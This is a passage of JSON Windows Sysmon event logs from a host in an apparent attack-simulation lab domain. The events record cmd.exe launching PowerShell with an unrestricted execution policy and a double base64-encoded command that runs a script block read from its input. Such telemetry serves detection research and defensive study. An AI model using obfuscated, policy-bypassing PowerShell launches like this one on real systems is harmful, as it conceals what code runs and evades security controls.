C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:38.725","SourceProcessGUID":"{90617006-413A-5F2D-0000-0010D50A0600}","SourceProcessId":"3148","SourceThreadId":"2512","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-413A-5F2D-0000-0010250D0600}","TargetProcessId":"2964","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":4302,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:38.732\r\nProcessGuid: {90617006-413A-5F2D-0000-0010F40D0600}\r\nProcessId: 1276\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nFileVersion: 10.0.14393.206 (rs1_release.160915-0644)\r\nDescription: Windows PowerShell\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: PowerShell.EXE\r\nCommandLine: PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=\r\nCurrentDirectory: C:\\Users\\Administrator\\\r\nUser: ATTACKRANGE\\Administrator\r\nLogonGuid: {90617006-413A-5F2D-0000-00201E0A0600}\r\nLogonId: 0x60A1E\r\nTerminalSessionId: 0\r\nIntegrityLevel: High\r\nHashes: MD5=097CE5761C89434367598B34FE32893B,SHA256=BA4038FD20E474C047BE8AAD5BFACDB1BFC1DDBE12F803F473B7918D8D819436,IMPHASH=CAEE994F79D85E47C06E5FA9CDEAE453\r\nParentProcessGuid: {90617006-413A-5F2D-0000-0010250D0600}\r\nParentProcessId: 2964\r\nParentImage: C:\\Windows\\System32\\cmd.exe\r\nParentCommandLine: C:\\Windows\\system32\\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:55:38.732","ProcessGuid":"{90617006-413A-5F2D-0000-0010F40D0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","FileVersion":"10.0.14393.206 (rs1_release.160915-0644)","Description":"Windows PowerShell","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"PowerShell.EXE","CommandLine":"PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=","CurrentDirectory":"C:\\Users\\Administrator\\","User":"ATTACKRANGE\\Administrator","LogonGuid":"{90617006-413A-5F2D-0000-00201E0A0600}","LogonId":"0x60a1e","TerminalSessionId":"0","IntegrityLevel":"High","Hashes":"MD5=097CE5761C89434367598B34FE32893B,SHA256=BA4038FD20E474C047BE8AAD5BFACDB1BFC1DDBE12F803F473B7918D8D819436,IMPHASH=CAEE994F79D85E47C06E5FA9CDEAE453","ParentProcessGuid":"{90617006-413A-5F2D-0000-0010250D0600}","ParentProcessId":"2964","ParentImage":"C:\\Windows\\System32\\cmd.exe","ParentCommandLine":"C:\\Windows\\system32\\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=","EventReceivedTime":"2020-08-07 11:55:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4303,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:38.725\r\nSourceProcessGUID: {90617006-413A-5F2D-0000-0010250D0600}\r\nSourceProcessId: 2964\r\nSourceThreadId: 3772\r\nSourceImage: C:\\Windows\\system32\\cmd.exe\r\nTargetProcessGUID: {90617006-413A-5F2D-0000-0010F40D0600}\r\nTargetProcessId: 1276\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\system32\\cmd.exe+f1e1|C:\\Windows\\system32\\cmd.exe+11a37|C:\\Windows\\system32\\cmd.exe+cb0d|C:\\Windows\\system32\\cmd.exe+c295|C:\\Windows\\system32\\cmd.exe+f916|C:\\Windows\\system32\\cmd.exe+1510d|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:38.725","SourceProcessGUID":"{90617006-413A-5F2D-0000-0010250D0600}","SourceProcessId":"2964","SourceThreadId":"3772","SourceImage":"C:\\Windows\\system32\\cmd.exe","TargetProcessGUID":"{90617006-413A-5F2D-0000-0010F40D0600}","TargetProcessId":"1276","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\system32\\cmd.exe+f1e1|C:\\Windows\\system32\\cmd.exe+11a37|C:\\Windows\\system32\\cmd.exe+cb0d|C:\\Windows\\system32\\cmd.exe+c295|C:\\Windows\\system32\\cmd.exe+f916|C:\\Windows\\system32\\cmd.exe+1510d|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4304,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:38.725\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-413A-5F2D-0000-0010F40D0600}\r\nTargetProcessId: 1276\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 